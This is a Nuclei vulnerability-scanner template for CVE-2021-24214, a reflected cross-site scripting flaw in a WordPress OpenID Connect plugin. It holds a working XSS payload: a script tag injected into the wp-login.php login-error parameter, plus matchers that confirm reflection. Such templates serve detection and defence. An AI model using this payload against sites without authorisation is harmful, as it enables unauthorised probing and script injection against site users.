nuclei-templates/cves/2021/CVE-2021-24214.yaml

id: CVE-2021-24214
info:
  name: OpenID Connect Generic Client 3.8.0-3.8.1 - Reflected Cross Site Scripting (XSS) via Login Error
  author: tess
  severity: medium
  description: The OpenID Connect Generic Client WordPress plugin 3.8.0 and 3.8.1 did not sanitise the login error when output back in the login form, leading to a reflected Cross-Site Scripting issue. This issue does not require authentication and can be exploited with the default configuration.
  reference:
    - https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24214
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24214
    cwe-id: CWE-79
  metadata:
    verified: true
  tags: cve,cve2021,wordpress,xss,wp-plugin,wp,openid

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ERROR (<script>alert(document.domain)</script>):'
          - 'Login with OpenID Connect'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200